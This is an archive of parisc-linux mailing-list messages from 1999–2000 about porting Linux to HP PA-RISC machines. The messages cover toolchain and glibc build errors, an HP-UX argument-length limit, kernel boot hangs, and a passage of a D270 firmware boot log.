Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My toolchain whoes...
Date: 28 Aug 2000 09:26:25 -0400
Organization: Linuxcare, Inc.
Lines: 35
Approved: news@gmane.org
Message-ID: <87hf85pldq.fsf@linuxcare.com>
References: <39A85787.6A917C57@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619087 3135 80.91.229.3 (22 Nov 2014 01:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Hudson <mhudson@home.com>
Original-X-From: dhd@linuxcare.com  Mon Aug 28 07:40:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA17387
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 07:40:43 -0600
Original-Received: (qmail 2978 invoked by uid 15267); 28 Aug 2000 13:40:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2968 invoked from network); 28 Aug 2000 13:40:44 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 13:40:44 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13TOvh-0003z9-00; Mon, 28 Aug 2000 09:26:25 -0400
In-Reply-To: Matthew Hudson's message of "Sat, 26 Aug 2000 18:49:27 -0500"
Original-Lines: 34
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7820

Matthew Hudson <mhudson@home.com> writes:

> gcc -E -dD output: (sorry I couldn't get this to you sooner willy I got
> stuck in the middle of a bad day at work)
> result = ({ unsigned long __sys_res; { register unsigned long __res
> asm("r28"); register unsigned long __r24 __asm__("r24") = (unsigned
> long)oact ? (&k_osigact) : ((void *)0); register unsigned long __r25
> __asm__("r25") = (unsigned long)act ? (&k_sigact) : ((void *)0);
> register unsigned long __r26__asm__("r26") = (unsigned long)sig; asm
> volatile( "ble  0x100(%%sr2, %%r0)\n\t" " ldi %1, %%r20" : "=r" (__res)
> : "i" ((__NR_sigaction)) , "r" (__r26), "r" (__r25), "r" (__r24) );
> __sys_res = __res; } if (__sys_res >= (unsigned long)-4095) {
> (*__errno_location ()) = (-__sys_res); __sys_res == (unsigned long)-1; }
> __sys_res; });
> 
> undefined symbol: __NR_sigaction
> 
> Now, you tell me whats wrong?

That's pretty screwed up, actually.  The line that says __NR_sigaction
clearly should say __NR_rt_sigaction (given that this is the output of
INLINE_SYSCALL(rt_sigaction, ...).  I don't know why it isn't.

Unless you pasted the wrong line ;-)

> My guess is that some how my config is getting mangled, I don't know
> how.

I'll say.  Maybe somewhere along the line some nasty header file did
something bad.  I'll see if the same thing is happening here.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems compiling..
Date: Mon, 28 Aug 2000 09:47:01 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <200008281647.JAA15988@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619087 3142 80.91.229.3 (22 Nov 2014 01:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:07 +0000 (UTC)
Cc: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Aug 28 10:43:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA18569
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 10:43:54 -0600
Original-Received: (qmail 9139 invoked by uid 15267); 28 Aug 2000 16:43:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9126 invoked from network); 28 Aug 2000 16:43:55 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 16:43:55 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id CC177339C; Mon, 28 Aug 2000 09:43:54 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA15988;
	Mon, 28 Aug 2000 09:47:02 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:7821

Joe,
I've forwarded your mail to "parisc-linux" instead of "parisc-linux-request".

I think you just need get an internet connection for the box and update the
CVS archive you are working from.

Also, AFAIK, the --target should be "hppa-linux" or "hppa1.1-linux".
Not sure where MACH fits into that.
I haven't rebuilt the tool chain in quite a while...but I suggest
you look at build-tools/README and build-tools/palinux-autobuilder.

grant

------- Forwarded Message

Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD86AD@epixch003>
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
To: "'parisc-linux-request@thepuffingroup.com'" <parisc-linux-request@thepuffingroup.com>,
        "'grundler@cup.hp.com'" <grundler@cup.hp.com>
Subject: Re: [parisc-linux] problems compiling..
Date: Mon, 28 Aug 2000 09:24:47 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"

Dear Grant,

I downloaded the last gcc in date of 2000-08-24 and I tried to compile gcc
on a HP workstation C110 (9000/777) with hp-ux 11.00  and gcc 2.95.2 from
The HPUX Software Porting and Archive Center. (I need to recompile the
kernel because I have to safely use the graphical port as console)

As explain in the recipe, I tried to run ./contrib/gcc_update but failed
because no internet connection is available on this server.

Assuming at this moment that the archive is up to date, I tried to go
further and launch the configure process.
(MACH=hppa-hpux ; DEST=/opt/puffin)
configure failed because "hppa-hp-hpux" is not a supported platform?
Fortunately, I still have a paper copy of the previous release of recipe
which reveal me that MACH must be hppa1.1-hpux.
Then configure was successfully completed.

But the make failed on the same error as encountered by Jeff Towarnicki in
the message:
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/07-Jul/0105.ht
ml.
Thanks in advance for help,
	Joel

------- End of Forwarded Message


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc configuration problem
Date: Mon, 28 Aug 2000 13:49:46 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20000828134946.A17888@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619087 3149 80.91.229.3 (22 Nov 2014 01:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Aug 28 12:54:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA19585
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 12:54:56 -0600
Original-Received: (qmail 7468 invoked by uid 15267); 28 Aug 2000 18:54:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7460 invoked from network); 28 Aug 2000 18:54:47 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 18:54:47 -0000
Original-Received: (qmail 14207 invoked from network); 28 Aug 2000 18:54:43 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 28 Aug 2000 18:54:43 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id NAA17928
	for parisc-linux@thepuffingroup.com; Mon, 28 Aug 2000 13:49:46 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7822


anyone trying to configure glibc on a debian potato box is probably
going to get:

checking for make... make
checking version of make... 3.78.1, bad
...
configure: error:
*** Some critical program is missing or too old.

this is an upstream change to glibc.  to fix this, get make 3.79.1 from
woody.  It doesn't have any dependencies which require you to upgrade
any other package.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.3 mkdep
Date: Tue, 29 Aug 2000 08:24:59 +0200
Organization: ESIEE - CCIP
Lines: 12
Approved: news@gmane.org
Message-ID: <009601c01181$db5a8590$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619088 3156 80.91.229.3 (22 Nov 2014 01:18:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:08 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Tue Aug 29 00:21:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA01043
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 00:21:09 -0600
Original-Received: (qmail 1329 invoked by uid 15267); 29 Aug 2000 06:21:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1322 invoked from network); 29 Aug 2000 06:21:10 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 06:21:10 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 7232657308
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Aug 2000 08:21:09 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7823

After my holidays, I synchronized my CVS directories.
I have found a problem when I do "make dep" : scripts/mkdep : Arg list too
long.
I have encoutered this problem with fist versions of parisc-linux 2.3.99
version.

My development platform was : HP712/80 under HP-UX 10.20

TX for your help

Th. SIMONNET


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 735/125 hangs w/latest kernel
Date: Tue, 29 Aug 2000 11:28:51 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20000829112851.A1105@linuxcare.com>
References: <000e01c010bf$e6166840$8391a140@spatialminds.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619088 3161 80.91.229.3 (22 Nov 2014 01:18:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:08 +0000 (UTC)
Cc: PARISC-L <parisc-linux@thepuffingroup.com>
To: Craig Miller <craig.miller@bigfoot.com>
Original-X-From: rhirst@linuxcare.com  Tue Aug 29 04:28:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA03871
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 04:28:34 -0600
Original-Received: (qmail 23620 invoked by uid 15267); 29 Aug 2000 10:28:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23606 invoked from network); 29 Aug 2000 10:28:36 -0000
Original-Received: from unknown (HELO rhirst.linuxcare.com) (158.43.17.94)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 10:28:36 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 73694B005; Tue, 29 Aug 2000 11:28:51 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <000e01c010bf$e6166840$8391a140@spatialminds.com>; from craig.miller@bigfoot.com on Mon, Aug 28, 2000 at 12:16:34AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7824

On Mon, Aug 28, 2000 at 12:16:34AM -0700, Craig Miller wrote:
> In the interest of providing useful feedback:
> 
> My HP 735/125 box hangs when booting the demo CD.  It gets to
> 
> ...
> ASP version 20 at oxf08000000 found.
> request_irq(250, c01ec76c, 0x0, asp, c4ff5080) 

My 715/75 hangs there if CONFIG_PARPORT_GSC is enabled.  Don't know if that
was turned on on the CD kernel, but it probably was (defaults to on).

Richard


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] progress
Date: Fri, 26 Mar 1999 13:33:11 -0500
Organization: mozilla.org diplomatic corps
Lines: 32
Approved: news@gmane.org
Message-ID: <36FBD2E7.D7399CA2@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619089 3167 80.91.229.3 (22 Nov 2014 01:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:09 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Fri Mar 26 13:33:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id NAA19551
	for <hppa-linux@sod.res.cmu.edu>; Fri, 26 Mar 1999 13:33:53 -0500
Original-Received: (qmail 31017 invoked by uid 15267); 26 Mar 1999 18:32:34 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 31010 invoked from network); 26 Mar 1999 18:32:33 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 26 Mar 1999 18:32:33 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id KAA10633
	for <hppa-linux@thepuffingroup.com>; Fri, 26 Mar 1999 10:33:14 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F97SVM00.PKK for <hppa-linux@thepuffingroup.com>; Fri, 26 Mar
          1999 10:33:22 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.3-5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7825

[shaver@loonie linux] gmake CROSS_COMPILE=hppa-linux- vmlinux
[...]
make[1]: Leaving directory `/builds2/parisc-linux/linux/arch/parisc/lib'
hppa-linux-ld -m hppaelf -e stext arch/parisc/kernel/head.o
arch/parisc/kernel/init_task.o init/main.o init/version.o \
        --start-group \
        arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o
mm/mm.o fs/fs.o ipc/ipc.o \
        fs/filesystems.a \
        net/network.a \
        drivers/block/block.a drivers/char/char.a drivers/misc/misc.a
drivers/net/net.a drivers/video/video.a \
        /builds2/parisc-linux/linux/arch/parisc/lib/lib.a
/builds2/parisc-linux/linux/lib/lib.a
/builds2/parisc-linux/linux/arch/parisc/lib/lib.a \
        --end-group \
        -o vmlinux
hppa-linux-ld: can not size stub section: Bad value
hppa-linux-ld: warning: cannot find entry symbol stext; defaulting to
00002000
gmake: *** [vmlinux] Segmentation fault (core dumped)
gmake: *** Deleting file `vmlinux'
[shaver@loonie linux]

I think Nat has a fix for that, but I'll have to find it and respin the
cross-compiler before I can do anything more.

Mike

-- 
167319.81 72598.35


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.3 mkdep
Date: Tue, 29 Aug 2000 15:15:33 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000829151533.A6395@parcelfarce.linux.theplanet.co.uk>
References: <009601c01181$db5a8590$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619089 3175 80.91.229.3 (22 Nov 2014 01:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thierry SIMONNET <t.simonnet@esiee.fr>
Original-X-From: willy@www.linux.org.uk  Tue Aug 29 08:15:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA05047
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 08:15:56 -0600
Original-Received: (qmail 18699 invoked by uid 15267); 29 Aug 2000 14:15:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18643 invoked from network); 29 Aug 2000 14:15:57 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 14:15:57 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13TmAn-0002Lf-00; Tue, 29 Aug 2000 15:15:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <009601c01181$db5a8590$0a14d793@esiee.fr>; from t.simonnet@esiee.fr on Tue, Aug 29, 2000 at 08:24:59AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7826

On Tue, Aug 29, 2000 at 08:24:59AM +0200, Thierry SIMONNET wrote:
> After my holidays, I synchronized my CVS directories.
> I have found a problem when I do "make dep" : scripts/mkdep : Arg list too
> long.
> I have encoutered this problem with fist versions of parisc-linux 2.3.99
> version.

oh, blast.  i guess we need to refrob the Makefile to use xargs.  Damn,
damn damn damn.  I took that out in the recent merge because it conflicted
with a change from upstream.

> My development platform was : HP712/80 under HP-UX 10.20

i can't persuade you to use linux on an x86 instead...?  ah well :-)


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.3 mkdep
Date: Tue, 29 Aug 2000 08:28:50 -0600
Lines: 6
Approved: news@gmane.org
Message-ID: <m13TmNe-001VpxC@chalet>
References: <20000829151533.A6395@parcelfarce.linux.theplanet.co.uk>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619089 3180 80.91.229.3 (22 Nov 2014 01:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Tue Aug 29 08:30:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA05377
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 08:30:26 -0600
Original-Received: (qmail 3028 invoked by uid 15267); 29 Aug 2000 14:30:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3015 invoked from network); 29 Aug 2000 14:30:28 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 14:30:28 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13TmNe-001VpxC@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Aug 2000 08:28:50 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Tue, 29 Aug 2000 15:15:33 BST."
             <20000829151533.A6395@parcelfarce.linux.theplanet.co.uk>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7827


Pretty sure there's a tunable parameter to boost the argv size on hp-ux.
It's rather useless right out of the box.

	-P


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.3 mkdep
Date: Tue, 29 Aug 2000 13:46:58 -0500 (CDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200008291846.NAA32425@osiris.silug.org>
References: <m13TmNe-001VpxC@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619090 3185 80.91.229.3 (22 Nov 2014 01:18:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@riverrock.org
Original-X-From: steve@osiris.silug.org  Tue Aug 29 12:46:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA06856
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 12:46:59 -0600
Original-Received: (qmail 9934 invoked by uid 15267); 29 Aug 2000 18:47:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9914 invoked from network); 29 Aug 2000 18:47:00 -0000
Original-Received: from osiris.lanscape.net (HELO osiris.silug.org) (64.240.156.225)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 18:47:00 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id NAA32425;
	Tue, 29 Aug 2000 13:46:58 -0500
In-Reply-To: <m13TmNe-001VpxC@chalet> "from bame@riverrock.org at Aug 29, 2000
 08:28:50 am"
X-Mailer: ELM [version 2.4ME+ PL77 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7828

bame@riverrock.org said:
> Pretty sure there's a tunable parameter to boost the argv size on hp-ux.

Assuming you have the right patches installed, you should have a
"large_ncargs_enabled" (IIRC, I don't have a HP-UX box handy at the
moment) tunable parameter.  Set it to 1.  (Note that this is only on
HP-UX 10.20 with the right patches...  In 11.0, they use a larger
buffer for argv by default.)

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Claudiu Carter <ccarter@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP D270 boots ok, log inside
Date: Tue, 29 Aug 2000 15:08:23 -0400
Lines: 289
Approved: news@gmane.org
Message-ID: <39AC0A27.3C31F633@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------DD6064467AE735BB0ECF5742"
X-Trace: ger.gmane.org 1416619090 3188 80.91.229.3 (22 Nov 2014 01:18:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:10 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: ccarter@linuxcare.com  Tue Aug 29 13:14:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA07214
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 13:14:58 -0600
Original-Received: (qmail 14372 invoked by uid 15267); 29 Aug 2000 19:15:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14353 invoked from network); 29 Aug 2000 19:15:01 -0000
Original-Received: from ottawa.linuxcare.com (HELO fuzzynavel.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Aug 2000 19:15:01 -0000
Original-Received: from linuxcare.com (IDENT:cloud@localhost.localdomain [127.0.0.1])
	by fuzzynavel.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA13324
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Aug 2000 15:08:24 -0400
Original-Sender: cloud@fuzzynavel.thepuffingroup.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7829

This is a multi-part message in MIME format.
--------------DD6064467AE735BB0ECF5742
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tara and I have managed to boot both an R390 and D270 here's the log for
the D270.

Claudiu Carter.

--------------DD6064467AE735BB0ECF5742
Content-Type: text/plain; charset=us-ascii;
 name="D270-log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="D270-log"

Firmware Version  37.28

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       160 MHz   Active                 Functional          512 KB
      1       160 MHz   Idle                   Functional          512 KB

  Central Bus Speed (in MHz)  :        120

  Model: D270/2

  Available memory (bytes)    : 1073741824
  Good memory required (bytes):   85504000

  Primary boot path:    8/12.5   (dec)
  Alternate boot path:  8/16/5.0   (dec)
  Console path:         8/12/0.0   (dec)
  Keyboard path:        8/16/7.0   (dec)

CPU 0
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > Search

Searching for potential boot device(s)...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).


   Path Number        Device Path (dec)        Device Type
   -----------        -----------------        -----------
   P0                 8/12.5                   Random access media
   P1                 8/12.8                   Random access media
   P2                 8/16/5.2                 Random access media
   P3                 8/16/6.0                 LAN Module


Main Menu: Enter command > bo P2
Interact with IPL (Y, N, or Cancel)?> N

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl bame@noam Fri Aug  4 18:36:35 MDT 2000
0/vmlinux 2349352 bytes @ 0x6f6000
0/palo-cmdline '0/vmlinux TERM=linux HOME=/ root=/dev/scd0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1511580 mediaptr 0x1000
Segment 1 load 00272000 size 132368 mediaptr 0x173000
